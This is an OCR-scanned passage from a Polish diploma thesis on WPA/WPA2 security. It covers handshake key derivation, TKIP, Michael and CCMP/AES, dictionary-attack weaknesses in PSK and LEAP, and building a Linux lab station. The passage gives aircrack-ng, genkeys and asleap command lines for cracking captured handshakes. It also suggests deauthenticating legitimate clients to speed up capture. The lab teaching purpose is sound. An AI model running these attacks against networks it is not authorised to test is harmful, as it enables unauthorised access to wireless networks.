wysylany do petenta wraz z kodem MIC oraz numerem sekwencyjnym. Po otrzymaniu
informacji, klient sprawdza kod MIC oraz deszyfruje klucz GTK. Nastgpnie wysyla
komunikat potwierdzajacy, ktory zawiera numer sekwencyjny klucza GTK oraz kod
MIC dla tego komunikatu. Po zweryfikowaniu przez punkt dostgpowy otrzymanej

wiadomosci, instaluje on nowy klucz GTK.

& < - &

PMK  generowane na podstawie =~ PMK ((é))

MK z uwierzytelniania

Klient Punkt dostepowy

LOSOWE SNonce LOSOWE ANonce

LOSOWE ANonce

A

wyznaczenie
— PTK, GTK
LOSOWE SNonce + MIC

wyznaczenie PTK

ZASZYFROWANY GTK + MIC T

W POTWIERDZENIE + MIC > W

INSTALACJA INSTALACJA
PTK,GTK PTK,GTK

Rys. 6.5. Przebieg negocjacji czteroetapowe;j

6.3. Mechanizmy poufnosci oraz integralnosci danych

W odpowiedzi na ujawnienie wad mechanizméw poufnosci oraz integralno$ci
danych oméwionych w standardzie 802.11, organizacja IEEE w pierwszej kolejnosci

stworzyta specyfikacje WPA. Posiada ona wszystkie wlasciwosci przedstawione do tej
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pory w niniejszym rozdziale podobnie jak standard 802.11i (zwany réwniez WPA?2).
Gloéwna réznica migdzy nimi to obowiazkowa w standardzie WPA2 obstuga algorytmu
poufnosci danych o nazwie CCMP (ang. Counter Mode CBC Mac Protocol) opartego o
szyfr AES (ang. Advanced Encryption Protocol). WPA, w zakresie zapewnienia
poufnosci danych, przedstawia algorytm TKIP (ang. Temporary Key Integrity
Protocol), ktory zostal opracowany jako rozwiazanie przejsciowe i podobnie jak WEP
bazuje na strumieniowym szyfrze RC4. Ponadto do celéw zapewnienia integralnosci
danych, opracowano algorytm MIC (ang. Message Integrity Check) o zamiennej nazwie
Michael. Jest on obowiazkowy zaréwno w specyfikacji WPA jak i w standardzie

WPA2.

6.3.1. Algorytmy TKIP i Michael

Algorytm TKIP zostal po raz pierwszy zdefiniowany w specyfikacji WPA.
Standard 802.111 réwniez przewiduje jego wykorzystanie jako opcjonalnej metody
zapewnienia poufnosci danych. W rozdziale 5 niniejszej pracy dyplomowej omowiono
wady algorytmu WEP, ktére przedstawione zostaly przez FMS oraz innych badaczy
kryptografii. Ataki wykorzystujace stabe IV polegaja na przechwyceniu pewnej ilosci
ramek danych zaszyfrowanych stabymi wektorami inicjacyjnymi. Jedyna skuteczna
metoda (oczywiscie poza definitywna zmiang algorytmu RC4 na inny) jest zmiana
klucza WEP pomigdzy klientem 1 punktem dostgpu zanim mozliwe bedzie
przechwycenie odpowiedniej liczby ramek umozliwiajace odkrycie bajtow klucza [1].

Algorytm TKIP zaklada schemat, ktory nazwany zostal kluczem
jednoramkowym (ang. per-frame-keying). Podstawowa zasada, ktora nim kieruje to
tworzenie innego klucza dla kazdej ramki. Wektor inicjacyjny 1V, adres fizyczny MAC
punktu dostgpowego i1 klucz WEP przetwarzane sa za pomoca dwuetapowej funkcji
mieszajacej. 24-bitowy IV zostat zamieniony na 48-bitowy, gdzie pierwsze 32 bity sa
bardziej znaczace, a pozostale mniej znaczace.

Proces tworzenia klucza jednoramkowego zapewnia zmienny klucz oraz
zmienny IV dla kazdej ramki na wejsciu algorytmu RC4 (Rys. 6.6). Klucz TEK,
wygenerowany w procesie negocjacji czteroetapowej, jest mieszany z bardziej znaczaca
32-bitowa czesécia 48-bitowego IV oraz adresem MAC nadajnika. Wynikiem tej
procedury jest klucz I fazy, ktéry zostaje umieszczony w pamigci podrgcznej. Nastgpnie

klucz I fazy jest ponownie mieszany z bardziej znaczacymi 32 bitami IV oraz adresem
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fizycznym MAC punktu dostgpowego w celu wygenerowania klucza jednoramkowego.
Nastgpnie do otrzymanego klucza jednoramkowego dofaczane jest 16 mniej znaczacych
bajtow IV oraz wynik przekazany zostaje do algorytmu WEP jako wejscie algorytmu
RC4. Cata dalsza procedura szyfrowania przebiega zgodnie z zasadami rzadzacymi
algorytmem WEP. W przypadku kolejnej ramki, zwigkszany jest 16-bitowy obszar IV
oraz ponownie wyznaczany jest klucz jednoramkowy. Po wyczerpaniu zasoboéw tego
obszaru, klucz fazy I zostaje odrzucony, a 32-bitowa liczba IV zostaje zwigkszona o 1.
Nastegpnie procedura generowania klucza jednoramkowego rozpoczyna si¢ od poczatku.
Zapobiega to kolizji 16-bitowych IV (ponownego uzycia tego same klucza, bedacego

wejsciem algorytmu RC4.

KLUCZ TEK 32 bardziej znaczace bity IV Adres fizyczny MAC AP

UKtAD

WEP

MIESZAJACY

UKLAD

KLUCZ | FAZY = (- MIESZAJACY

16-bitowy IV KLUCZ JEDNORAMKOWY

Rys. 6.6. Procedura tworzenia klucza jednoramkowego

W celu zapewnienia integralnosci przesylanych informacji, oprocz istniejacego
ICV do specyfikacji WPA wprowadzono algorytm o nazwie MIC (Michael). Jest to
prosty algorytm mieszajacy zrodlowy oraz docelowy adres fizyczny MAC z
niezaszyfrowanym ladunkiem ramki danych oraz z kluczem KCK. Charakterystyczna
cecha MIC, wyrdzniajaca go od ICV jest uzywanie do szyfrowania MIC klucza innego
niz do szyfrowania danych. Warto§¢ MIC (8 oktetdéw) zostaje umieszczona w ramce
danych migdzy tadunkiem a wartoscia ICV. Cata ramka nastgpnie podlega fragmentacji
zgodnie z ustawieniami warstwy MAC oraz szyfrowaniu TKIP.

Procedura deszyfrowania TKIP zawiera w sobie podwdjne sprawdzenie

integralno$ci danych — pierwsze poprzez ICV, drugie poprzez MIC. W procesie
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deszyfrowania najpierw zostaje obliczony klucz fazy I identycznie jak w procesie
szyfrowania. Nastgpnie, w oparciu o 16-bitowy IV wzigty z odebranej ramki, obliczany
jest klucz jednoramkowy. Fragment ramki jest deszyfrowany oraz nastgpuje kontrola
ICV. Ponadto jesli ramka ma niezgodny z kolejnoscia IV — zostaje juz na tym etapie
odrzucona. Kolejnym etapem jest defragmentacja ramki. Rozszyfrowane fragmenty
ramki s3 ponownie skladane, formujac oryginalng ramke¢ danych. Odbiornik, ktérym
moze by¢ klient lub punkt dostepowy, oblicza warto§¢ MIC oraz poréwnuje ja z
odebrang. Jesli wartoSci sa identyczne, ramka =zostaje poddawana dalszemu
przetwarzaniu. W przeciwnym wypadku algorytm MIC podejmuje procedury

zapobiegawcze. Naleza do nich:

a) usunigcie kluczy do istniejacego skojarzenia;

b) zapisanie w dzienniku systemowym informacji o problemie z
bezpieczenstwem,;

c) blokada uwierzytelniania dla klienta na 60 sekund pod warunkiem, ze btad
MIC wystapit wigcej niz jeden raz;

d) w przypadku odebrania btednej ramki przez klienta, odrzucenie ruchu innego
niz 802.1X;

€) powtdrzenie procesu negocjacji czteroetapowe;.

6.3.2. Algorytm CCMP oparty o szyfr AES

Algorytm CCMP bazuje na szyfrze blokowym AES z kluczem oraz blokami o
dhugosci 128 bitow. Mozna stwierdzi¢, ze AES w CCMP pekni t¢ sama funkcj¢ co RC4
w WEP lub TKIP. Jednak CCMP jest zupelnie nowym szyfrem w sieciach WLAN w
porownaniu do TKIP, ktory mial za zadanie wyeliminowanie najwigkszych wad

swojego poprzednika przy zachowaniu kompatybilnosci sprzg¢towej. Stosunek sity
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kryptograficznej do szybkosci algorytmu AES jest o wiele wigkszy niz w przypadku
RC4. Jednak wymaga on do prawidtowego funkcjonowania szybszych procesorow
umieszczonych w urzadzeniach dostgpowych takich jak AP. W przypadku urzadzen
klienckich (karty WLAN w komputerach PC), problem ten jest znikomy w poréwnaniu
do mozliwosci obliczeniowych oraz szybkosci taktowania dzisiejszych procesorow oraz
uktadow pamigci 1 ptyt gléwnych.

Algorytm AES powstal w celu poprawienia systemoéw kryptograficznych
korzystajacych z jego poprzednika o nazwie DES, ktory wielokrotnie byt lamany. W
styczniu 1997 roku instytut NIST (ang. National Institute of Standard and Technology)
podjat prace nad nowym szyfrem, ktory wyeliminowa¢ miat wady DES. Ponad dwa lata
pozniej jako powszechny szyfr wybrano AES o wlasciwej nazwie Rijndael,
pochodzacej od nazwisk kryptograféw z Belgii: Joana Daemena oraz Vincenta Rijmena.
Jest on szyfrem blokowym operujacym na bloku o zmiennej dtugosci, uzywajac kluczy
o zmiennej dtugosci. W przypadku algorytmu CCMP, wykorzystywany jest klucz TEK,
wygenerowany w procesie negocjacji czteroetapowej, o dtugosci 128 bitow oraz blok o
dtugosci 128 bitow. Dlatego tez dalszy opis AES opiera¢ si¢ bedzie na dwoch
powyzszych parametrach.

Rijndael [25] jest tzw. iterowanym szyfrem blokowym, co oznacza, Ze blok
wejsciowy (dane) oraz klucz (TEK) przechodza wielokrotne rundy transformacji zanim
powstanie wynik. Kazda runda wytwarza posredni szyfr zwany stanem. Blok danych,
klucz oraz szyfrogram reprezentowane sa przez macierze, ktérych elementem jest 1 bajt
(8 bitow). Macierze te posiadaja wymiar 4 x 4. Na algorytm AES sktadaja si¢ dwie
czesci. Pierwsza z nich jest proces szyfrowania, w ktorym nastgpuje rzeczywiste
wyprowadzenie szyfrogramu. Drugi, $ciSle powiazany z pierwszym, to proces

zarzadzania kluczem szyfrujacym.

Proces szyfrowania sklada si¢ z trzech faz, gdzie w ramach drugiej 1 trzeciej fazy
wykonywane sa rundy, ktore sktadaja si¢ ze zdefiniowanych transformacji macierzy

danych M (Rys. 6.7).
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Rys. 6.7. Algorytm AES dla CCMP

Transformacja SubBytes polega na zmianie stanu kazdego bajtu w macierzy M poprzez
zastapienie go elementem ze stalej, zdefiniowanej macierzy podstawien o nazwie S-Box.
Macierz podstawien ma wymiary 16 x 16, gdzie indeksy kolumny oraz wiersza to liczby od 0x0
do Oxf w notacji heksadecymalnej. Poniewaz w notacji szesnastkowej jeden bajt (8 bitdw) to
liczba dwucyfrowa (np. 0010 1111 to 0x2f), wspotrzedne elementu w macierzy S-Box, ktérym

zostanie zastapiony element macierzy M wybierane sa na podstawie wartosci mlodszej 1 starszej
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czgéci (po 4 bity) analizowanego bajtu macierzy M. Transformacja ta wykonywana jest w
kazdym kroku iteracji fazy drugiej oraz w fazie trzeciej (dla i=1..9).

Transformacja ShiftRows polega na cyklicznym przesunigciu wierszy o indeksach 1, 2,
3 w macierzy M o odpowiednio 1,2,3 pozycje w lewo. Wykonywana jest dla i=1..9.
Transformacja MixColums polega na wymnozeniu kazdej kolumny macierzy M przez
zdefiniowana na rysunku 6.8. macierz C. Mieszanie kolumn wykonywane jest dla wszystkich

iteracji w fazie drugiej (dla i=1..8).

02 03 01 01
Co 01 02 03 01
01 01 02 03
03 01 01 02

Rys. 6.8. Macierz C w notacji szesnastkowej

Transformacja AddRoundKey polega na wykonaniu operacji XOR na macierzy
M oraz kolejnym kluczu rundy K[i]. W przypadku fazy pierwszej (i=0), kluczem rundy
jest wygenerowany w procesie 4-Way Handshake tymczasowy klucz TEK (K[0]). W
kolejnych dziewigciu rundach klucz K[i7] (dla i=1..9) wyznaczany jest przez algorytm
zarzadzania kluczami (ang. Key Shedulling). Transformacja ta wykonywana jest we
wszystkich trzech fazach oraz dla kazdego kroku iteracji w fazie drugie;j.

Generowanie oraz zarzadzanie kluczami przebiega zgodnie z procesem
przedstawionym na rysunku 6.9. W fazie drugiej oraz trzeciej, przedstawionej na
rysunku 8.6, wystegpuje tacznie 10 rund. Dla kazdej z nich generowany jest inny klucz,
gdzie K[i] (dla i=0..9) jest jednowymiarowa macierza wygenerowanych kluczy a Kj[i]
jest j-ta kolumna i-tego klucza. Element RCON; to i-ta kolumna macierzy statych dla
rundy (ang. Round Constant) ktéra dodawana jest (XOR) do kolumny klucza dla j=0.
Macierz RCON przedstawia tabela 6.1. Transformacja RootByte to cykliczne

przesunigcie elementéw kolumny macierzy o 1 w dot.
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Ko[i]:=K3[i-1]

v

RootByte(Ko[i])

A
SubByte(Koli])

v

Ko[i]:=Ko][i] xor RCON:i
j:=1

>

A

Kilil:=Kj-1[i] xor Ki[i-1]
ji=jH

Rys. 6.9. Algorytm generacji i zarzadzania kluczami

Tabela. 6.1. Kolumny macierzy RCON w notacji szesnastkowej (zrodto: [25])

i 1 ]2]3]4]5]6]7][8]9]10
01 02 04 08 10 20 40 80 1b 36
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00|00

i-ta

kolumna

Protokét CCMP wprowadza do blokowego szyfru AES tryb licznikowy (ang.
Counter Mode) umozliwiajacy wykorzystanie go jako szyfru strumieniowego. Kolejne
bloki strumienia klucza generowane sa wtasnie za pomoca Rijndael. Oprocz tego
wprowadzono kilka ciekawych rozwiazan - wykorzystanie tego samego klucza TEK z
réznymi IV do szyfrowania i1 uwierzytelniania oraz objgto procedura sprawdzania
integralnosci dane niezaszyfrowane. CCMP rozszerza roéwniez MPDU o dwa pola.
Pierwszym z nich jest nagtowek CCMP (8 bajtéw), ktory zawiera 48-bitowy numer
pakietu. Drugi to 8-bajtowy kod MIC, obliczany za pomoca algorytmu CBC-MAC.
Polega on na zaszyfrowaniu poczatkowej wartosci jednorazowej Nonce, ktora wylicza
si¢ na podstawie wartosci pola Priority ramki, adresu zrodtowego ramki oraz
zwigkszonego numeru pakietu. Nastepnie zaszyfrowana wartos¢ podlega operacji XOR

na kolejnych blokach az do uzyskania 64-bitowego kodu MIC.
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7. Analiza zabezpieczen WPA/WPA2

W poréwnaniu do pierwszej wersji standardu IEEE 802.11, specyfikacja WPA
oraz standard WPA2 rozwiazaly wigkszo$¢ problemow zwiazanych z bezpieczenstwem
poczawszy od uwierzytelniania a skonczywszy na szyfrowaniu danych. Mozna §miato
stwierdzi¢, ze TKIP oraz CCMP w chwili obecnej sa algorytmami, ktore nie zostaty
jeszcze zlamane wigc mozna zaklasyfikowa¢ je do metod zapewniajacych wysoki
poziom poufnosci danych. Do tej pory jedyne wykryte wady oraz luki w
zabezpieczeniach WPA/WPA2 dotycza jedynie procesu uwierzytelniania. W pierwszej
kolejnosci omowione zostana wady uwierzytelniania z kluczem wspotdzielonym PSK.
Nastgpnie przedstawiona zostanie luka w zabezpieczeniach algorytmu LEAP,

opracowanego przez firmg Cisco.

7.1. Uwierzytelnianie z kluczem wspoldzielonym PSK

Klucz PSK jest alternatywnym rozwiazaniem dla matych sieci, w ktorych nie ma
potrzeby instalacji serwera uwierzytelniajacego. Jak juz wspomniano wcze$niej, serwer
uwierzytelniajacy oraz caly proces uwierzytelniania 802.1X odpowiadaja za
generowanie klucza PMK. W przypadku klucza PSK, PMK jest wyliczany na jego
podstawie przy pomocy funkcji PBKDF2 opisanej w [14]. Funkcja ta wyznacza
omawiany klucz na podstawie hasta, SSID, dlugosci SSID oraz zdefiniowanej ilosci
operacji mieszania: 4096, 1 okreslonej dlugosci ciagu danych wejsciowych (256).
Nastgpnie tymczasowy klucz PTK wyznaczany jest z PMK w procesie negocjacji
czteroetapowej, w ktorej wszystkie informacje pozwalajace go wyliczy¢ przesylane sa
w postaci jawnej. Sita klucza PTK zalezy wigc tylko 1 wytacznie od klucza PMK czyli
w rzeczywistosci od sity hasta.

Robert Moskowitz zauwazyl, Zze druga z czterech wiadomosci negocjacji
czteroetapowej moze zosta¢ poddana pasywnym atakom slownikowym. Z
przeprowadzenia atakow silowych zrezygnowano z uwagi na dos¢ duza liczbg operacji
mieszania na kazde hasto: 4096, co w praktyce umozliwiato sprawdzanie kombinacji
haset z predkoscia kilku na sekunde. Po przechwyceniu dwoéch pierwszych
komunikatéw negocjacji czteroetapowej, znane sa juz wartosci ANonce (z pierwszej
wiadomosci) oraz SNonce (z drugiej wiadomos$ci). Mozna wigc rozpoczaé podstawianie

warto$ci PSK, ktérej znajomo$¢ pozwoli nastgpnie wyliczy¢ PMK. Pomyslne
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znalezienie klucza PSK powoduje, ze kod MIC wyliczony za pomoca odtworzonego
klucza KCK (bedacego czescia PMK) jest zgodny z kodem MIC drugiej wiadomosci.
Aby przyspieszy¢ proces przechwytywania komunikatow 4-Way Handshake, mozna
wykorzysta¢ metode anulowania uwierzytelniania, omawiana w rozdziale 7. Nie jest to
jednak rozwiazanie pasywne, dlatego tez bardzo tatwo zauwazy¢ jego konsekwencje

bedac autoryzowanym klientem sieci WPA-PSK/WPA2-PSK.

7.2. Algorytm LEAP

Algorytm LEAP, podobnie jak uwierzytelnianie PSK, podatny jest na atak
stownikowy, co udowodnit w 2004 roku Joshua Wright. Zauwazyt on, Ze metoda MS-

CHAP-v2, ktora jest w nim wykorzystana posiada nastgpujace wady:

a) brak dodatkowych dwoéch losowych bajtow (tzw. salt) przy tworzeniu NT
hasha dla hasta uzytkownika co w konsekwencji powoduje, ze obliczana jest
suma kontrolna MD4 z calego hasta — pozwala na przeprowadzenie ataku
stownikowego;

b) wada implementacji algorytmu 3 DES kodujacego powyzsze NT hashe —
umozliwia w ciagu kilku sekund wyliczenie 2 ostatnich bitow NT hasha;

¢) nazwa uzytkownika przesylana jest tekstem otwartym.

Dopoki w NT hashach nie ma omawianych dwoch losowych bajtow salt, mozna
przeprowadzi¢ atak stownikowy polegajacy na tworzeniu hashow MD4 dla wszystkich
haset w stowniku, trzykrotnym szyfrowaniu ich algorytmem 3 DES oraz poréwnywaniu
z zaszyfrowana 24-bajtowa odpowiedzia na 8-bajtowy tekst wezwania. Jest to jednak
operacja czasochlonna dlatego tez Joshua Wright zaproponowal rozwiazanie znacznie
przyspieszajace 1 optymalizujace t¢ metodg.

Poniewaz algorytm 3 DES wymaga 7-bitowych porcji danych a NT hashe maja
dlugos¢ 16 bitoéw, musi on podzieli¢ 16 bitow na 3 mniejsze porcje przy czym trzecia
zawiera¢ bedzie tylko 2 istotne bity a pozostale 5 bgdzie uzupetnieniem w postaci zer.
W takim przypadku w bardzo prosty i szybki sposdéb odgadna¢ mozna 2 ostatnie bity
hasha sprawdzajac 2'® kombinacji. Znajac te dwa bity, mozna znacznie zmniejszyé

obszar przeszukiwania stownika.
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7.3. Narzedzia do badania zabezpieczen WPA/WPA2

Sposréd dostegpnych narzedzi do badania omodwionych wczesniej wad
WPA/WPA2, przedstawione zostana dwie najpopularniejsze aplikacje. Pierwsza —
aircrack-ng — implementuje w sobie metodg ataku stownikowego na przechwycone
przez aireplay-ng komunikaty negocjacji czteroetapowej. Oprécz odgadnigcia klucza
PSK, oblicza ona rowniez klucz PMK oraz PTK. Druga wykorzystuje objasnione
wczesniej wady algorytmu uwierzytelniania LEAP do wyprowadzenia hasta

uzytkownika rowniez na zasadzie ataku stownikowego.

7.3.1. Aplikacja aircrack-ng

Aplikacja aircrack-ng w przypadku WPA-PSK/WPA2-PSK przeprowadza atak
stownikowy na pierwsze dwa komunikaty negocjacji czteroetapowej. Wymaga ona
jednak, aby wiadomosci te zostaly przechwycone przez interfejs bezprzewodowy, ktory
pracuje w trybie Monitor. Do przelaczania urzadzenia bezprzewodowego w tryb
Monitor stuzy omawiana wcze$niej aplikacja airmon-ng natomiast do przechwycenia
potrzebnych informacji wykorzysta¢ mozna aplikacj¢ airodump-ng. Skltadnia
uruchamiajaca atak stownikowy na uwierzytelnianie z kluczem wspotdzielonym jest

nastg¢pujaca:

alrcrack-ng -w stownik.txt -b mac AP psk.cap

gdzie:

-w — wskazuje plik stownika o nazwie stownik. txt;
-b — wskazuje adres fizyczny MAC punktu dostgpowego;
psk.cap —jest plikiem, w ktorym znajduja si¢ przechwycone komunikaty

negocjacji czteroetapowe;.

Warto réwniez zaznaczy¢, ze w celu skrocenia czasu przechwycenia
potrzebnych komunikatow, nalezy wykorzysta¢ aireplay-ng do anulowania
uwierzytelnienia autoryzowanego i skojarzonego aktualnie uzytkownika z punktem

dostepowy w sieci WLAN.
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7.3.2. Aplikacja asleap

W skiad pakietu do badania wad algorytmu LEAP wchodza dwie aplikacje.
Pierwsza z nich o nazwie genkeys stuzy do generowania pliku zawierajacego NT hashe
na podstawie pliku stownika oraz pliku zawierajacego indeksy do wygenerowanego

pliku, przyspieszajace wyszukiwanie. Sktadnia omawianej aplikacji jest nastgpujaca:

genkeys -r sitownik.txt -f hash.dat -n hash.idx

gdzie:

-r — wskazuje plik stownika o nazwie stownik. txt (jedno stowo w linii);
- f — wskazuje plik, w ktorym zapisane zostana N7 hashe,

—-n — wskazuje plik zawierajacy indeksy dla pliku z NT hashami.

Do wtasciwego tamania hasel LEAP metoda slownikowa stuzy aplikacja o
nazwie asleap, ktora potrafi odczytywaé dane zaro6wno bezposrednio z interfejsu
pracujacego w trybie Monitor jak 1 z pliku, do ktorego wczesniej zostata zapisana

wymiana szyfrowanych komunikatow. Sktadnia aplikacji jest nastgpujaca:

asleap —-i interfejs —-c channel [-r plik.cap] —-f hash.dat -n

hash.idx

gdzie:

-1 —nazwa interfejsu pracujacego w trybie Monitor;

-c —numer kanatu, na ktérym nastuchiwa¢ bedzie asleap;

-r — opcjonalna nazwa pliku z przechwyconymi potrzebnymi informacjami,
- —wskazuje plik, w ktorym zapisane zostana NT hashe;

-n — wskazuje plik zawierajacy indeksy dla pliku z NT hashami.
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8. Stanowisko laboratoryjne

Stanowisko laboratoryjne zostato zaprojektowane w sposdb umozliwiajacy jego

szybka instalacj¢ oraz konfiguracj¢ praktycznie na dowolnych komputerach

stacjonarnym lub typu notebook opartych o architektur¢ PC oraz na dowolnych

urzadzeniach dostegpowych zgodnych ze standardami 802.11a/b/g/i oraz WPA.

Dodatkowo konfiguracja, zarowno sprzg¢towa jak i programowa, jest elastyczna oraz

moze zosta¢ wykorzystana rowniez do innych celow oprocz badania zabezpieczen w

sieciach WLAN. Na omawiane stanowisko laboratoryjne do badania zabezpieczen w

sieciach zgodnych z rodzing standardow 802.11 sktadaja sie:

a)

b)

d)

urzadzenie dostgpowe AP, wspierajace omawiane W niniejszej pracy
dyplomowej mechanizmy zabezpieczen;

klient sieci bezprzewodowej, bedacy komputerem stacjonarnym lub typu
notebook z interfejsem WLAN zgodnym ze standardem WPA/WPA2 i
kompatybilnym z wcze$niejszym standardem zabezpieczen;

klient sieci bezprzewodowej, bedacy komputerem stacjonarnym lub typu
notebook z interfejsem radiowym opartym o dowolny chipset z rodziny
Atheros, na ktorym przeprowadzane beda badania zabezpieczen;
komputer-serwer, na ktorym uruchomione sa wymagane przez WPA/WPA2

oraz inne przydatne ustugi jak serwer http, ftp, dns.

W trakcie projektowania 1 optymalizowania stanowiska laboratoryjnego

uzywano nastgpujacego sprzgtu:

a)

b)

komputer stacjonarny klasy PC (wazniejsze parametry: Intel Pentium III
1.1GHz, 384MB RAM) z karta WLAN Sparklan, oparta o chipset Atheros
ARS213, zgodna ze standardami 802.11a/b/g/i oraz WPA;

komputer przeno$ny typu notebook (wazniejsze parametry: Intel Centrino
Duo 1.73GHz, 1024MB RAM) z wbudowana karta WLAN oparta o chipset
Intel Pro 3945 zgodny ze standardami 802.11a/b/g/i oraz WPA;

urzadzenie dostgpowe AP AirLive model WL-5460APv2, zgodne ze
standardami 802.11b/g/i oraz WPA;
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d) dodatkowo: karta WLAN PCMCIA TP-LINK TL-WN610G, zgodna ze
standardami 802.11b/g/i oraz WPA.

Dla komputera do badania zabezpieczen oraz komputera-serwera opracowano
specjalnie skonfigurowany system operacyjny na bazie dystrybucji SlackWare Linux 11
[15] oraz rozwiazan zaczerpnigtych z uruchamialnej z ptyty CD odmiany tej dystrybucji
o nazwie Slax [16]. Kazde, wykorzystane w niniejszym systemie oprogramowanie,
podlega migdzynarodowej licencji GNU GPL [17], zatem mozliwa jest jego dowolna
modyfikacja oraz dystrybucja pod dowolna postaciag. Omawiany system operacyjny, dla
celow pracy dyplomowej, nazwany zostat SlackPWR. Poniewaz niniejszy system jest
identyczny dla komputera do badania zabezpieczen oraz komputera-serwera, mozliwe
jest potaczenie tych dwoch elementow stanowiska w jeden, co zmniejsza wymagania
sprzgtowe opracowanego stanowiska o jeden komputer. Ponadto potaczenie takie daje
mozliwo$¢ konfigurowania urzadzenia dostgpowego oraz badana zabezpieczen na
jednej maszynie. Rysunek 8.1 przedstawia schemat ogdlny zaprojektowanego
stanowiska do badania zabezpieczen w sieciach WLAN. Czarna ciagla linia zaznaczono
potaczenie kablem UTP interfejsu LAN serwera oraz interfejsu UPLINK punktu
dostepowego. Zo6lta btyskawica to potaczenie bezprzewodowe WLAN.

MOZLIWOSC INTEGRACJI DWOCH ELEMENTOW
W JEDEN

SERWER
ustugi: Radius, http, ftp, dns, ssh
system: SlackPWR

KOMPUTER
W PUNKT DOSTEPOWY Klient sieci

wspierajgcy: WEP, WPA, WPA2 system: Windows XP

KOMPUTER
do badania zabezpieczen
system: SlackPWR

Rys. 8.1. Schemat ogdlny stanowiska do badania zabezpieczen w sieciach WLAN
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8.1. Instalacja dystrybucji SlackWare Linux 11

W chwili obecnej istnieje wiele dystrybucji systemow opartych o jadro Linux.
Najstarsza a zarazem najstabilniejsza 1 najtrudniejsza w konfiguracji jest dystrybucja
SlackWare. Do celow pracy dyplomowej wybrano niniejsza dystrybucje z uwagi na
duze do$wiadczenie dyplomanta w kwestii jej znajomosci oraz zagadnien z nia
zwigzanych takich jak konfiguracja, kompilacja 1 instalacja jadra systemu,
oprogramowania oraz sterownikOw sprzetu (zazwyczaj modutow jadra). Najnowsza
wersja omawianej dystrybucji to 11, ktora dostepna jest do pobrania jako obraz ISO
ptyty DVD lub trzech ptyt CD w oficjalnym serwisie internetowym [15].

Instalacja omawianej dystrybucji zostala wykonana w standardowy,
charakterystyczny dla niej sposob. Po uruchomieniu ptyty instalacyjnej systemu na
poczatku wybrano jadro systemu, na ktorym uruchomiony zostanie instalator jako
bare.i. Nastgpnie wybrano odpowiedni typ ukladu klawiatury oraz uruchomiono
aplikacj¢ cfdisk, przy pomocy ktérej dokonano odpowiedniego partycjonowania
przestrzeni dyskowej, dostgpnej w danym komputerze. Minimalny rozmiar gldwnej
partycji systemowej (root) to, w przypadku omawianego systemu, 3GB z uwagi na
pbézniejsze kwestie zwigzane z instalacja dodatkowego oprogramowania. Do instalacji

wybrano wszystkie pakiety (tryb expert) spo$rod nastgpujacych kategorii:

a) A —podstawowy system Linux;

b) AP —ro6zne aplikacje, nie wymagajace srodowiska graficznego;
¢) D —$rodowisko programistyczne (C, C++ itd.);

d) KDE — $rodowisko graficzne K dla serwera okien X

e) KDEI - dodatkowe jezyki dla srodowiska K;

f) L — biblioteki systemowe wymagane przez KDE;

g) N —ustugi sieciowe (serwery, konfiguracja, diagnostyka);

h) X —serwer okien.

Po zainstalowaniu wszystkich pakietow sposrod powyzszych kategorii,
skonfigurowano program rozruchowy /ilo w sposdb automatyczny, utworzono hasto
super-uzytkownika oraz uruchomiono zainstalowany system. Domys$lnie dystrybucja
Slackware startuje w trybie konsoli. Po zalogowaniu si¢ jako root z hastem jak nazwa

uzytkownika, przystapiono do uruchomienia srodowiska graficznego KDE poleceniem:
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startx

w celu jego konfiguracji pod wzgledem jezykowym, wizualnym i funkcjonalnym.
Glownym zalozeniem konfigurowanego systemu jest jego uniwersalnos¢, dlatego tez na
samym poczatku okre§lono dwie mozliwosci pracy w omawianym systemie (tryb
tekstowy oraz bardziej komfortowy — graficzny). Zatozenie to stanie si¢ istotne w
chwili, gdy w sprzgcie komputerowym, na ktérym zostanie uruchomiony system
znajdzie si¢ karta graficzna, dla ktérej nie przewidziano wsparcia od strony

sterownikow w utworzonym dalej jadrze systemu Linux.

8.2. Implementacja lat, konfiguracja oraz kompilacja jadra

Jadro systemu operacyjnego Linux to centralna jednostka logiczna,
odpowiadajaca za obsluge wszystkich procesow oraz sterowanie sprzgtem w systemie.
W przypadku oryginalnej dystrybucji SlackWare 11, domy$lnie zaimplementowano tam
jadro Linux-2.4.33.3. Jednak na potrzeby dystrybucji do stanowiska laboratoryjnego
wybrano jadro Linux-2.6.20 z uwagi na wymagania instalowanych pdzniej
dodatkowych aplikacji oraz sterownikdéw (modutow jadra).

Dystrybucja SlackWare wyrdznia si¢ ponad innymi niewielka ilo$cia dostgpnych
pakietow instalacyjnych oprogramowania. Wigkszo$¢ aplikacji, opartych o licencjg
GNU GPL, udostgpniana jest w postaci kodu zrodlowego w jezyku C i pochodnych,
ktore nastgpnie trzeba odpowiednio skonfigurowaé, skompilowaé kompilatorem gcc
oraz zainstalowa¢ w systemie na podstawie wygenerowanych podczas konfiguracji
parametréw. W porodwnaniu do instalacji z tzw. gotowych paczek, instalacja ze zrodet
daje mozliwos¢ dowolnej modyfikacji oprogramowania oraz pelnej personalizacji
instalacji na podstawie dost¢gpnych parametrow. Fakt ten zostal wykorzystany w
momencie modyfikacji-tatania (ang. patch) kodu jadra systemu Linux oraz modyfikacji
sterownikéw zapewniajacych wsparcie dla rodziny chipsetéw bezprzewodowych
Atheros. Warto zauwazy¢ rowniez, ze prawie w kazdym przypadku oprogramowanie
korzysta z funkcji wspieranych przez jadro systemu zatem nalezy uwaznie $ledzi¢
instrukcje dotyczace instalacji oprogramowania pod wzgledem wymagan systemowych.

W kazdej dystrybucji systemu Linux, konfiguracja, kompilacja oraz instalacja
dodatkowego oprogramowania ze zrodet przebiega w podobny sposob. W katalogu na

dysku, do ktérego zostal rozpakowany kod zrodtowy nalezy wydac trzy polecenia:
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./configure && make && make install

Pierwsze dwa z powyzszych zazwyczaj posiadaja dodatkowe parametry, o ktorych
przeczyta¢ mozna w instrukcji instalacji systemu. Jednak zwykle uzywa si¢ ich w
podanej powyzszej formie ze wzgledu na oszczedno$¢ czasu. Do modyfikacji kodu
zrodtowego (aplikowania tat) zazwyczaj uzywa si¢ (w katalogu jak wyzej) ponizszych
polecen:

patch -pl < nazwa taty.diff

patch -p0 < nazwa taty.diff

Kolejnym z zatozen opracowywanego systemu operacyjnego jest mozliwosé
uruchamiania go z plyty CD lub DVD oraz z pamigci przenosnej typu flash (ang.
pendrive). Do tego celu potrzebne jest dodatkowe oprogramowanie umozliwiajace
kompresjg systemu plikow oraz tworzenie moduldow ze struktury gtéwnych katalogow
systemu Linux, ktore oczywiscie wymaga wsparcia ze strony jadra. Szczegdétowe
